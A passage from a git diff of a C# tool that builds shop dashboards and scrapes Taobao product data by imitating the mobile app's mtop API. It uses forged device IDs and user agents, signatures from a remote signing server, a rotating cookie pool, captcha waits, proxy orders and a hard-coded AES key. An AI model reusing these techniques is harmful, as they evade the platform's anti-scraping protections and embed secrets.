= Shop.ShopName; + shopDetail.shopName = Shop.Name; + shopDetail.bondMoney = freeBalanceMount.ToString();//保证金 + shopDetail.threshold = thresholdMount.ToString();//阈值 + shopDetail.putForward = putAmount.ToString();//可提现 + shopDetail.expAbnormal = totalWuLiuCount.ToString();//物流异常 + shopDetail.allGood = allGoodsCount.ToString();//线上产品 + shopDetail.onSaleGood = ShelvesCount.ToString();//上架产品 + shopDetail.sellOut = sellOutCount.ToString();//售罄 + shopDetail.lowerGood = lowerCount.ToString();//下架产品 + shopDetail.reject = totalCount.ToString();//驳回 + + + shopDetail.yesUV = oneUVSum.ToString();//昨日访客 + shopDetail.yesPV = onePVSum.ToString();//昨日流量 + shopDetail.yesConRate = oneVcrSum.ToString("0.0000");//昨日转化 + shopDetail.sevUV = sevUVSum.ToString();//7天访客 + shopDetail.sevPV = sevPVSum.ToString();//7天流量 + shopDetail.sevConRate = sevVCRSum.ToString("0.0000");// 7天转化 + shopDetail.thirUV = thirtyUVSum.ToString();//30天访客 + shopDetail.thirPV = thirtyPVSum.ToString();//30天流量 + shopDetail.thiryesConRate = thirtyVCRSum.ToString("0.0000");//30天转化 + + shopDetail.punEndtime = punEndtime;//惩罚结束日期 + shopDetail.hisFines = sumChareAmount.ToString();//历史罚款 + shopDetail.delay = sumStockAmount.ToString(); + if (!string.IsNullOrEmpty(punReason)) + shopDetail.punReason = punReason; + if (punstartTime>0) + shopDetail.punstartTime = BaseClass.StampToDateTime(punstartTime).ToString(); + if (punendTime > 0) + shopDetail.punendTime = BaseClass.StampToDateTime(punendTime).ToString(); + shopDetail.punLevel = punishment.ToString();//惩罚 + shopDetail.mainCam = staple == null ? "" : staple.ToString();//主营类目 + shopDetail.todayAccount = todayMount.ToString();//今日成交 + shopDetail.waitForAccount = waitAmount.ToString();//待到账 + shopDetail.thirtySellGood = thirtydayGoodsNum.ToString();//30天销售 + shopDetail.thirtyDeal = thirtydayIn.ToString();//30天成交金额 + shopDetail.yesOrder = totalItemNum.ToString();// 昨天订单数 + shopDetail.thirtyOrder = totalThirItemNum.ToString();//30天订单数 + shopDetail.bankCard = accountCard;//入驻银行卡 + shopDetail.mobile = operatorMobile;//入驻手机号 + shopDetail.playAmount = playAmount;//小额打款 + shopDetail.yesdayIn = yesdayIn.ToString();//昨天成交金额 + shopDetail.sevendayIn = sevendayIn.ToString();//7天成交金额 + shopDetail.status = "读取完成"; + ShopDetailControl.ShopDetailTempList.Add(shopDetail); + } + catch + { + + } + } + /// + /// 获取绝对时间 + /// + /// + public static long GetTime(DateTime t) + { + return ConvertDateTimeInt(t) + BaseClass.TimeDifferent; + } + public static long ConvertDateTimeInt(DateTime time) + { + System.DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); + return (long)(time - startTime).TotalMilliseconds; + } + + } + + + public class ShopDetail + { + public string userName = ""; + public string shopName = ""; + public string bondMoney = ""; + public string putForward = ""; + public string expAbnormal = ""; + public string allGood = ""; + public string onSaleGood = ""; + public string sellOut = ""; + public string lowerGood = ""; + public string reject = ""; + public string yesUV = ""; + public string yesPV = ""; + public string yesConRate = ""; + public string sevUV = ""; + public string sevPV = ""; + public string sevConRate = ""; + public string thirUV = ""; + public string thirPV = ""; + public string thiryesConRate = ""; + public string punLevel = ""; + public string punEndtime = ""; + public string mainCam = ""; + public string todayAccount = ""; + public string waitForAccount = ""; + public string thirtySellGood = ""; + public string thirtyOrder = ""; + public string thirtyDeal = ""; + public string yesdayIn = ""; + public string sevendayIn = ""; + public string yesOrder = ""; + public string hisFines = ""; + public string delay = ""; + public string bankCard = ""; + public string mobile = ""; + public string status = ""; + public string punReason = ""; + public string punstartTime = ""; + public string punendTime = ""; + public decimal playAmount = 0M; + public string threshold = ""; + } +} diff --git a/Work/CollectClass/TaobaoMobileCollect.cs b/Work/CollectClass/TaobaoMobileCollect.cs new file mode 100644 index 0000000..a4cd355 --- /dev/null +++ b/Work/CollectClass/TaobaoMobileCollect.cs @@ -0,0 +1,2842 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using AllBase; +using Work.CollectClass; +using System.IO; +using System.Text.RegularExpressions; +using Work.Api; +using System.IO.Compression; +using Newtonsoft.Json.Linq; +using System.Security.Cryptography; +using System.Windows.Forms; +using Work.BLL.Upload; +using AllBase.Extension; +using NaiBa.Util.Extension; + +namespace Work.CollectClass +{ + public class TaobaoMobileCollect + { + public string Name, Content; + public bool IsPreSale = false; // 是否预售 + public bool IsUrlCollect = false, Pinduoduo = false; + public bool IsUpdateSku = false, ThisShopId = false; + public bool GetSuccess = false, NoTemp = false, Delete = false, NoContent = false, IsDown = false, NoUpToServer = false; + public static bool LastError = false; + public static bool IsProxyOverdue = false; + public decimal BeforePrice = 0, MinPrice = 0, MaxPrice = 0; + public static Dictionary ProductTemp = new Dictionary(); + public bool hasCookies = false; + public ProductCollectBase Product; + public string taoBaoCookies; + /// + /// 是否是净化数据模块 + /// + public bool IsPurifyData = false; + + public static Dictionary CookiesDic = new Dictionary(); + public static Dictionary CurrentCookiesDic = new Dictionary(); + /// + /// 淘宝采集控制锁,防止高并发导致淘宝采集cookie被限制 + /// + private static readonly object _lockerCollectTaobaoDetail = new object(); + public string pbMessage = ""; + public TaobaoMobileCollect(ProductCollectBase product) + { + Product = product; + } + private string GetTaobaoProductMainInfoAndDesc(long productId, bool isVerify, string f = "", string sMainOrDesc = "Main") + { + HttpWebResponse response; + string html = MakeRequestThroughTradeAscM(productId, isVerify, out response, sMainOrDesc, f); + if (isVerify && html.Contains("被挤爆啦")) + { + while (Application.OpenForms.Cast
    ().ToList().Find(frm => frm.Text.Contains("淘宝验证窗口")) != null) + { + Thread.Sleep(2000); + } + } + return html; + } + + private string GetTaobaoProductMainInfoAndDescProxyNew(long productId, string uri, string f = "", string sMainOrDesc = "Main") + { + //HttpWebResponse response; + //return MakeRequestThroughTradeAscMNew(productId, out response, sMainOrDesc, f); + //return GetProxyHtml.Request_TaoBao_com(GetProxyHtml.txtUrl, productId, GetProxyHtml.UserAgentList.ToArray(), out IsProxyOverdue, sMainOrDesc, f); + return GetProxyHtml.RequestUrl_TaoBao_com(productId, uri, GetProxyHtml.UserAgentList.ToArray(), out IsProxyOverdue); + } + private string GetTaobaoProductMainInfo(long productId, string sMainOrDesc = "Main") + { + HttpWebResponse response; + return MakeRequestProductMainInfo(productId, out response, sMainOrDesc); + } + private string GetTaobaoProductMainInfoAndDescNew(long productId, bool isVerify, string f = "", string sMainOrDesc = "Main") + { + HttpWebResponse response; + string html = MakeRequestThroughTradeAscMNew(productId, isVerify, out response, sMainOrDesc, f); + if (isVerify && html.Contains("被挤爆啦")) + { + while (Application.OpenForms.Cast().ToList().Find(frm => frm.Text.Contains("淘宝验证窗口")) != null) + { + Thread.Sleep(2000); + } + } + return html; + } + + /// + /// 通过MtopAlibaba Api获取淘宝Detail + /// + /// + /// + private string GetTaobaoProductDetailByMtopAlibabaApi(long productId, bool isVerify) + { + HttpWebResponse response; + bool isRetry = false; + + retry: + string html = MakeRequestThroughMtopAlibaba(productId, isVerify, out response); + if (isVerify && html.Contains("登陆")) + { + if (string.IsNullOrEmpty(BaseClass.IeUrlShow) && Application.OpenForms.Cast().ToList().Find(frm => frm.Text.Contains("淘宝验证窗口")) == null) + BaseClass.IeUrlShow = "https://login.taobao.com/member/login.jhtml?style=mini&newMini2=true&redirectURL=https://s.taobao.com/search?q=se&imgfile=&commend=all&ssid=s5-e&search_type=item&sourceId=tb.index&spm=a21bo.2017.201856-taobao-item.1&ie=utf8&initiative_id=tbindexz_20170306"; + Thread.Sleep(5000); + while (Application.OpenForms.Cast().ToList().Find(frm => frm.Text.Contains("淘宝验证窗口")) != null) + { + Thread.Sleep(1000); + } + if (isRetry == false) + { + isRetry = true; + goto retry; + } + } + if (isVerify && html.Contains("被挤爆啦")) + { + string sPunishUrl = BaseRegex.GetStringJson(ref html, "url"); + BaseClass.IeUrlShow = sPunishUrl; + Thread.Sleep(5000); + while (Application.OpenForms.Cast().ToList().Find(frm => frm.Text.Contains("淘宝验证窗口")) != null) + { + Thread.Sleep(1000); + } + if (isRetry == false) + { + isRetry = true; + goto retry; + } + } + return html; + } + + /// + /// 模拟请求通过MtopAlibaba Api获取淘宝Detail + /// + /// + /// + /// + private string MakeRequestThroughMtopAlibaba(long productId, bool isVerify, out HttpWebResponse response) + { + response = null; + try + { + + var utdid = "XUEI6Cqy4UgDAHCsEH0z5one"; + var uid = ""; + var appKey = "25443018"; + var t = BaseClass.GetTime(BaseClass.GetServerTimeString()).ToString(); + var sid = ""; + var deviceId = @"AqjuNSqg5WtUMlGAgV2ZsudCBHdVINyeYYmyjrge4w2P"; + var features = "27"; + var x_pv = "5.1"; + var data = "{\"exParams\":\"{\\\"id\\\":\\\"" + productId + "\\\",\\\"version\\\":\\\"3.0.0\\\",\\\"enterNewLink\\\":true,\\\"miniChannel\\\":true,\\\"itemId\\\":\\\"" + productId + "\\\",\\\"flutter\\\":true,\\\"originalUrl\\\":\\\"\\\",\\\"utparam\\\":\\\"\\\",\\\"itemBanner\\\":\\\"\\\"}\",\"itemId\":\"" + productId + "\",\"ttid\":\"11320@taobao_android_5.0.0\"}"; + var olData = data; + string url_getSign = url_getSign = BaseClass.BuildObjString("get_taobao_sign&act=get_tb_sign"); + string url_data = UserLogin.GetSignaturex("", ""); + string sign = string.Empty; + int iTryTimes = 0; + LbGetTaobaoSign: + sign = GetHtml.PostUtf8(url_getSign, url_data + "&t=" + t + "&api=mtop.alibaba.jnpiter.detail.getdetail&v=1.0&data=" + data); + if (string.IsNullOrEmpty(sign) && iTryTimes < 3) + { + iTryTimes++; + goto LbGetTaobaoSign; + } + + var url = "http://trade-acs.m.taobao.com/gw/mtop.alibaba.jnpiter.detail.getdetail/1.0/?data=" + GetHtml.UrlEncodeUtf8(data); + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Headers.Add("x-features", features); + request.UserAgent = "MTOPSDK%2F3.1.1.7+%28Android%3B5.1%3BOPPO%3BOPPO+R9m%29"; + request.Headers.Add("x-ttid", @"219201@taobao_android_7.6.0"); + request.Headers.Set(HttpRequestHeader.CacheControl, "no-cache"); + request.Headers.Add("x-appkey", appKey); + request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; + request.Headers.Add("x-pv", x_pv); + request.Headers.Add("x-t", t); + request.Headers.Set(HttpRequestHeader.Cookie, taoBaoCookies); + //string s = Randomx.GetWord(Randomx.GetId(5, 10)); + //string sCookie = $"x5sec=Õâ¸ö½Ó¿ÚÌ«ÄÑÁËww{s};cookie17={s};unb={s};dnk={s};"; + //request.Headers.Set(HttpRequestHeader.Cookie, sCookie); + request.Headers.Add("x-utdid", utdid); + request.Headers.Add("x-devid", deviceId); + request.Headers.Add("x-sign", sign); + request.Headers.Add("x-uid", uid); + request.Headers.Add("x-sid", sid); + request.Headers.Add("x-page-url", @"http%3A%2F%2Fitem.taobao.com%2Fitem.htm"); + //request.Headers.Add("x-mini-wua", @"HHnB_7IQ%2FC9%2BKRTErVPjrtzNx4iE6tVh2dyw0qkwtnCJmdk7wZ2y0NPDSmcBAC3Gx0pWM%2FVBDBLrDfE2diEE2Q%2BYXQd%2FMd5vQPLCzV2Mmq5SfLifuh3sHasrpVbdRys4tobC8"); + request.Headers.Add("x-nettype", @"WIFI"); + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate"); + request.Timeout = 10000; + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return ""; + } + catch (Exception) + { + if (response != null) response.Close(); + return ""; + } + if (response != null) + { + string responseText = ReadResponse(response); + if (isVerify && !string.IsNullOrEmpty(responseText) && responseText.Contains("被挤爆啦")) + { + BaseClass.IeUrlShow = response.Headers["Location"]; + Thread.Sleep(10 * 1000); + } + return responseText; + } + return ""; + } + + private string MakeRequestProductMainInfo(long sProductId, out HttpWebResponse response, string sMainOrDesc = "Main", string f = "") + { + response = null; + int count = 0; + Again: + try + { + count++; + System.DateTime starttime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); // 当地时区 + DateTime datetime = BaseClass.GetServerTimeString(); + long t = (long)(datetime - starttime).TotalMilliseconds; // 相差毫秒数 + var client = new Random(Guid.NewGuid().GetHashCode()).Next(1000, 100000); + string sign = BaseClass.GetMd5("client=" + client + "&time=" + t + "shiyixuan").ToLower(); + string url = "http://81.68.239.162:8080/check?group=tbtv&action=registerGetData&client=" + client + "&time=" + t + "&sign=" + sign + ""; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.KeepAlive = true; + request.UserAgent = "taobao"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Accept = "*/*"; + request.ContentType = "application/x-www-form-urlencoded"; + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + string body = @"data=%7B%22detail_v%22%3A+%223.1.0%22%2C+%22itemNumId%22%3A+%22" + sProductId + "%22%7D&api=mtop.taobao.detail.getdetail&ttid=142857%40taobao_iphone_7.10.3&v=6.0&hasExtParams=1"; + if (sMainOrDesc == "Desc") + body = "data=%7B%22detail_v%22%3A+%223.3.2%22%2C+%22f%22%3A+%22TB1XRE2VND1gK0jSZFs8qvldVXa%22%2C+%22id%22%3A+%22" + sProductId + "%22%2C+%22isShowWeex%22%3A+%220%22%2C+%22shopId%22%3A+%22210079136%22%7D&api=mtop.taobao.detail.getdesc&ttid=142857%40taobao_iphone_7.10.3&v=6.0&hasExtParams=1"; + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (count < 3) + { + Thread.Sleep(300); + goto Again; + } + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return ""; + } + catch (Exception) + { + if (count < 3) + { + Thread.Sleep(500); + goto Again; + } + if (response != null) response.Close(); + return ""; + } + if (response == null || response.StatusCode != HttpStatusCode.OK) + { + if (count < 3) + { + Thread.Sleep(500); + goto Again; + } + } + if (response != null) + { + string responseText = ReadResponse(response); + if (!string.IsNullOrEmpty(responseText) && responseText.Contains("https://login.m.taobao") && count < 2) + { + Thread.Sleep(1000); + goto Again; + } + + return responseText; + } + return ""; + } + + private string MakeRequestThroughTradeAscM(long sProductId, bool isVerify, out HttpWebResponse response, string sMainOrDesc = "Main", string f = "") + { + response = null; + int count = 0; + Again: + try + { + count++; + bool bIsGetDesc = !sMainOrDesc.Equals("Main"); + var utdid = "XUEI6Cqy4UgDAHCsEH0z5one"; + var uid = ""; + var appKey = "25443018"; + var t = BaseClass.GetTime(BaseClass.GetServerTimeString()).ToString(); + var sid = ""; + var deviceId = @"AqjuNSqg5WtUMlGAgV2ZsudCBHdVINyeYYmyjrge4w2P"; + var features = "27"; + var x_pv = "5.1"; + + + var data = bIsGetDesc ? "{\"id\":\"" + sProductId + "\",\"type\":\"0\",\"f\":\"" + f + "\"}" + : "{\"detail_v\":\"3.3.2\",\"exParams\":\"{\\\"action\\\":\\\"ipv\\\",\\\"ad_type\\\":\\\"1.0\\\",\\\"appReqFrom\\\":\\\"detail\\\",\\\"container_type\\\":\\\"xdetail\\\",\\\"countryCode\\\":\\\"CN\\\",\\\"device\\\":\\\"56\\\",\\\"dinamic_v3\\\":\\\"true\\\",\\\"from\\\":\\\"search\\\",\\\"id\\\":\\\"" + sProductId + "\\\",\\\"item_id\\\":\\\"" + sProductId + "\\\",\\\"latitude\\\":\\\"0\\\",\\\"list_type\\\":\\\"search\\\",\\\"longitude\\\":\\\"0\\\",\\\"osVersion\\\":\\\"23\\\",\\\"phoneType\\\":\\\"MuMu\\\",\\\"search_action\\\":\\\"initiative\\\",\\\"soVersion\\\":\\\"2.0\\\",\\\"ultron2\\\":\\\"true\\\",\\\"utdid\\\":\\\"XUEI6Cqy4UgDAHCsEH0z5one\\\"}\",\"itemNumId\":\"" + sProductId + "\"}"; + var olData = data; + string url_getSign = BaseClass.BuildObjString("get_taobao_sign&act=get_tb_sign"); + string url_data = UserLogin.GetSignaturex("", ""); + if (!string.IsNullOrEmpty(f)) url_data += "&f=" + f; + if (!bIsGetDesc) url_data += "&bIsGetDesc=main"; + string sign = GetHtml.PostUtf8(url_getSign, url_data + "&t=" + t + "&sProductId=" + sProductId); + var url = bIsGetDesc ? "http://trade-acs.m.taobao.com/gw/mtop.taobao.detail.getdesc/6.0/?type=1&data=" + GetHtml.UrlEncodeUtf8(olData) + : "http://trade-acs.m.taobao.com/gw/mtop.taobao.detail.getdetail/6.0/?data=%7B%22detail_v%22%3A%223.3.2%22%2C%22exParams%22%3A%22%7B%5C%22action%5C%22%3A%5C%22ipv%5C%22%2C%5C%22ad_type%5C%22%3A%5C%221.0%5C%22%2C%5C%22appReqFrom%5C%22%3A%5C%22detail%5C%22%2C%5C%22container_type%5C%22%3A%5C%22xdetail%5C%22%2C%5C%22countryCode%5C%22%3A%5C%22CN%5C%22%2C%5C%22device%5C%22%3A%5C%2256%5C%22%2C%5C%22dinamic_v3%5C%22%3A%5C%22true%5C%22%2C%5C%22from%5C%22%3A%5C%22search%5C%22%2C%5C%22id%5C%22%3A%5C%22" + sProductId + "%5C%22%2C%5C%22item_id%5C%22%3A%5C%22" + sProductId + "%5C%22%2C%5C%22latitude%5C%22%3A%5C%220%5C%22%2C%5C%22list_type%5C%22%3A%5C%22search%5C%22%2C%5C%22longitude%5C%22%3A%5C%220%5C%22%2C%5C%22osVersion%5C%22%3A%5C%2223%5C%22%2C%5C%22phoneType%5C%22%3A%5C%22MuMu%5C%22%2C%5C%22search_action%5C%22%3A%5C%22initiative%5C%22%2C%5C%22soVersion%5C%22%3A%5C%222.0%5C%22%2C%5C%22ultron2%5C%22%3A%5C%22true%5C%22%2C%5C%22utdid%5C%22%3A%5C%22XUEI6Cqy4UgDAHCsEH0z5one%5C%22%7D%22%2C%22itemNumId%22%3A%22" + sProductId + "%22%7D"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Headers.Add("x-features", features); + request.UserAgent = "MTOPSDK%2F3.1.1.7+%28Android%3B5.1%3BOPPO%3BOPPO+R9m%29"; + //request.Headers.Add("x-mini-wua", @"HHnB_mzRal5X4IXAcTxtEgwmHrZdDXNc0XlRLOemtkzSNtCwcDyGQ3tfXxI5oy9xIVme1wWJk9EELd0TS8hhy6KG3KepCdy7FNi1OVyEaDB3ph2utD4QBb4PEAuD5HiJGrP%2FF"); + request.Headers.Add("x-ttid", @"219201@taobao_android_7.6.0"); + request.Headers.Set(HttpRequestHeader.CacheControl, "no-cache"); + request.Headers.Add("x-appkey", appKey); + request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; + //request.Headers.Add("x-pv", x_pv); + request.Headers.Add("x-t", t); + //request.Headers.Set(HttpRequestHeader.Cookie, @""); + request.Headers.Add("x-utdid", utdid); + request.Headers.Add("x-devid", deviceId); + request.Headers.Add("x-sign", sign); + request.Headers.Add("x-uid", uid); + request.Headers.Add("x-sid", sid); + request.Headers.Add("x-page-url", @"http%3A%2F%2Fitem.taobao.com%2Fitem.htm"); + request.Headers.Add("x-nettype", @"WIFI"); + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate"); + request.Headers.Set(HttpRequestHeader.Cookie, taoBaoCookies); + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (count < 3) + { + Thread.Sleep(300); + goto Again; + } + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return ""; + } + catch (Exception) + { + if (count < 3) + { + Thread.Sleep(500); + goto Again; + } + if (response != null) response.Close(); + return ""; + } + if (response == null || response.StatusCode != HttpStatusCode.OK) + { + if (count < 3) + { + Thread.Sleep(500); + goto Again; + } + } + if (response != null) + { + string responseText = ReadResponse(response); + if (!string.IsNullOrEmpty(responseText) && responseText.Contains("https://login.m.taobao") && count < 3) + { + Thread.Sleep(1000); + goto Again; + } + if (isVerify && !string.IsNullOrEmpty(responseText) && responseText.Contains("被挤爆啦")) + { + BaseClass.IeUrlShow = response.Headers["Location"]; + Thread.Sleep(10 * 1000); + //goto Again; + } + return responseText; + } + return ""; + } + + + private string MakeRequestThroughTradeAscMNew(long sProductId, bool isVerify, out HttpWebResponse response, string sMainOrDesc = "Main", string f = "") + { + response = null; + int count = 0; + Again: + try + { + count++; + bool bIsGetDesc = !sMainOrDesc.Equals("Main"); + var t = BaseClass.GetTime(BaseClass.GetServerTimeString()).ToString(); + var data = bIsGetDesc ? "{\"id\":\"" + sProductId + "\",\"type\":\"0\",\"f\":\"" + f + "\"}" + : "{\"detail_v\":\"3.3.2\",\"exParams\":\"{\\\"action\\\":\\\"ipv\\\",\\\"ad_type\\\":\\\"1.0\\\",\\\"appReqFrom\\\":\\\"detail\\\",\\\"container_type\\\":\\\"xdetail\\\",\\\"countryCode\\\":\\\"CN\\\",\\\"device\\\":\\\"56\\\",\\\"dinamic_v3\\\":\\\"true\\\",\\\"from\\\":\\\"search\\\",\\\"id\\\":\\\"" + sProductId + "\\\",\\\"item_id\\\":\\\"" + sProductId + "\\\",\\\"latitude\\\":\\\"0\\\",\\\"list_type\\\":\\\"search\\\",\\\"longitude\\\":\\\"0\\\",\\\"osVersion\\\":\\\"23\\\",\\\"phoneType\\\":\\\"MuMu\\\",\\\"search_action\\\":\\\"initiative\\\",\\\"soVersion\\\":\\\"2.0\\\",\\\"ultron2\\\":\\\"true\\\",\\\"utdid\\\":\\\"XUEI6Cqy4UgDAHCsEH0z5one\\\"}\",\"itemNumId\":\"" + sProductId + "\"}"; + var olData = data; + string url_getSign = BaseClass.BuildObjString("get_taobao_sign&act=get_tb_sign"); + string url_data = UserLogin.GetSignaturex("", ""); + if (!string.IsNullOrEmpty(f)) url_data += "&f=" + f; + if (!bIsGetDesc) url_data += "&bIsGetDesc=main"; + string sign = GetHtml.PostUtf8(url_getSign, url_data + "&t=" + t + "&sProductId=" + sProductId); + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://h5api.m.taobao.com/h5/mtop.taobao.detail.getdetail/6.0/?jsv=2.6.1&appKey=12574478&t=" + t + "&sign=" + sign + "&api=mtop.taobao.detail.getdetail&v=6.0&isSec=0&ecode=0&AntiFlood=true&AntiCreep=true&H5Request=true&ttid=2018%40taobao_h5_9.9.9&type=jsonp&dataType=jsonp&callback=mtopjsonp1&data=%7B%22id%22%3A%22" + sProductId + "%22%2C%22hybrid%22%3A%22true%22%2C%22ttid%22%3A%2210001401%40taobao_android_9.15.0%22%2C%22itemNumId%22%3A%22" + sProductId + "%22%2C%22itemId%22%3A%22" + sProductId + "%22%2C%22exParams%22%3A%22%7B%5C%22id%5C%22%3A%5C%22" + sProductId + "%5C%22%2C%5C%22hybrid%5C%22%3A%5C%22true%5C%22%2C%5C%22ttid%5C%22%3A%5C%2210001401%40taobao_android_9.15.0%5C%22%7D%22%2C%22detail_v%22%3A%228.0.0%22%2C%22utdid%22%3A%221%22%7D"); + request.KeepAlive = true; + request.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0"); + request.UserAgent = "Mozilla/5.0 (Linux; Android 5.1.1; NX627J Build/LYZ28N; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Safari/537.36 AliApp(TB/9.15.0) TTID/10001401@taobao_android_9.15.0 WindVane/8.5.0 900X1600 UT4Aplus/0.2.16"; + request.Accept = "*/*"; + request.Referer = "https://h5.m.taobao.com/awp/core/detail.htm?id=" + sProductId + "&hybrid=true&ttid=10001401%40taobao_android_9.15.0"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,en-US;q=0.8"); + //request.Headers.Set(HttpRequestHeader.Cookie,@""); + request.Headers.Set(HttpRequestHeader.Cookie, taoBaoCookies); + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (count < 3) + { + Thread.Sleep(300); + goto Again; + } + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return ""; + } + catch (Exception) + { + if (count < 3) + { + Thread.Sleep(500); + goto Again; + } + if (response != null) response.Close(); + return ""; + } + if (response == null || response.StatusCode != HttpStatusCode.OK) + { + if (count < 3) + { + Thread.Sleep(500); + goto Again; + } + } + if (response != null) + { + string responseText = ReadResponse(response); + if (!string.IsNullOrEmpty(responseText) && responseText.Contains("https://login.m.taobao") && count < 5) + { + Thread.Sleep(1000); + goto Again; + } + if (isVerify && !string.IsNullOrEmpty(responseText) && responseText.Contains("被挤爆啦")) + { + BaseClass.IeUrlShow = BaseRegex.GetStringJson(ref responseText, "url"); + Thread.Sleep(10 * 1000); + //goto Again; + } + //if (!string.IsNullOrEmpty(responseText) && responseText.Contains("被挤爆啦") && count < 5) + //{ + // Thread.Sleep(3000); + // goto Again; + //} + //if (!string.IsNullOrEmpty(responseText) && responseText.Contains("被挤爆啦")) + //{ + // //BaseClass.IeUrlShow = BaseRegex.GetStringJson(ref responseText, "url"); + // //Thread.Sleep(20 * 1000); + // //goto Again; + //} + return responseText; + } + return ""; + } + /// + /// 读取返回值 + /// + /// + /// + public static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + public void GetTaobaoCookies() + { + foreach (KeyValuePair kvp in CookiesDic) + { + if (!CurrentCookiesDic.ContainsKey(kvp.Value)) + CurrentCookiesDic.Add(kvp.Value, false); + } + int count = 0; + while (true) + { + if (CookiesDic.Count == 1) + { + taoBaoCookies = CookiesDic.FirstOrDefault().Value; + CurrentCookiesDic[taoBaoCookies] = true; + break; + } + if (!string.IsNullOrEmpty(taoBaoCookies)) + break; + foreach (KeyValuePair kvp in CurrentCookiesDic) + { + if (kvp.Value == false) + { + taoBaoCookies = kvp.Key; + CurrentCookiesDic[kvp.Key] = true; + break; + } + } + if (count == 3) + { + if (CurrentCookiesDic.Count == 0) + break; + int index = new Random().Next(0, CurrentCookiesDic.Keys.Count - 1); + taoBaoCookies = CurrentCookiesDic.Keys.ElementAt(index); + CurrentCookiesDic[taoBaoCookies] = true; + break; + } + count++; + Thread.Sleep(500); + } + } + public static byte[] key = new byte[32] { 145, 232, 156, 201, 201, 0, 42, 184, 222, 111, 109, 49, 226, 169, 9, 44, 151, 148, 143, 120, 62, 84, 30, 170, 127, 242, 20, 141, 231, 33, 230, 6 }; + public static byte[] iv = new byte[16] { 113, 6, 75, 177, 160, 112, 73, 39, 178, 147, 82, 107, 186, 58, 144, 187 }; + + public static string sAgentOrderId = ""; + /// + /// 从后台提取一个可用代理订单 + /// + public static void GetAProxyOrderId() + { + string sUrlGetAgent = BaseClass.BuildObjString("common&act=get_agent_ip"); + string sData = UserLogin.GetSignaturex(); + string sRes = GetHtml.PostUtf8(sUrlGetAgent, sData); + if (!string.IsNullOrEmpty(sRes) && sRes.Contains("the_key_temp")) + { + sAgentOrderId = BaseRegex.GetStringJson(ref sRes, "the_key_temp"); + sAgentOrderId = DecryptString(sAgentOrderId); + } + } + public static string DecryptString(string cipherText) + { + cipherText = cipherText.Replace("-", "+").Replace("_", "/"); + var x1 = cipherText.Length % 4; + if (x1 > 0) + { + cipherText = cipherText + "====".Substring(x1); + } + // Instantiate a new Aes object to perform string symmetric encryption + Aes encryptor = Aes.Create(); + + encryptor.Mode = CipherMode.CBC; + + // Set key and IV + byte[] aesKey = new byte[32]; + Array.Copy(key, 0, aesKey, 0, 32); + encryptor.Key = aesKey; + encryptor.IV = iv; + + // Instantiate a new MemoryStream object to contain the encrypted bytes + MemoryStream memoryStream = new MemoryStream(); + + // Instantiate a new encryptor from our Aes object + ICryptoTransform aesDecryptor = encryptor.CreateDecryptor(); + + // Instantiate a new CryptoStream object to process the data and write it to the + // memory stream + CryptoStream cryptoStream = new CryptoStream(memoryStream, aesDecryptor, CryptoStreamMode.Write); + + // Will contain decrypted plaintext + string plainText = String.Empty; + + try + { + // Convert the ciphertext string into a byte array + byte[] cipherBytes = Convert.FromBase64String(cipherText); + + // Decrypt the input ciphertext string + cryptoStream.Write(cipherBytes, 0, cipherBytes.Length); + + // Complete the decryption process + cryptoStream.FlushFinalBlock(); + + // Convert the decrypted data from a MemoryStream to a byte array + byte[] plainBytes = memoryStream.ToArray(); + + // Convert the decrypted byte array to string + plainText = Encoding.UTF8.GetString(plainBytes, 0, plainBytes.Length); + } + catch (Exception) + { + + //throw; + } + finally + { + // Close both the MemoryStream and the CryptoStream + memoryStream.Close(); + cryptoStream.Close(); + } + + // Return the decrypted data as a string + return plainText; + } + + public static int ConvertDateTimeInt(DateTime time) + { + System.DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); + return (int)(time - startTime).TotalSeconds; + } + public string GetSign() + { + string url = BaseClass.LoginApiUrl + "/?obj=littlecow/sign&act=get_strawberry_sign"; + int time = ConvertDateTimeInt(BaseClass.GetServerTimeString()); + string time1 = UserLogin.Encryption(time); + string data = "&time=" + time + "&code=" + time1 + 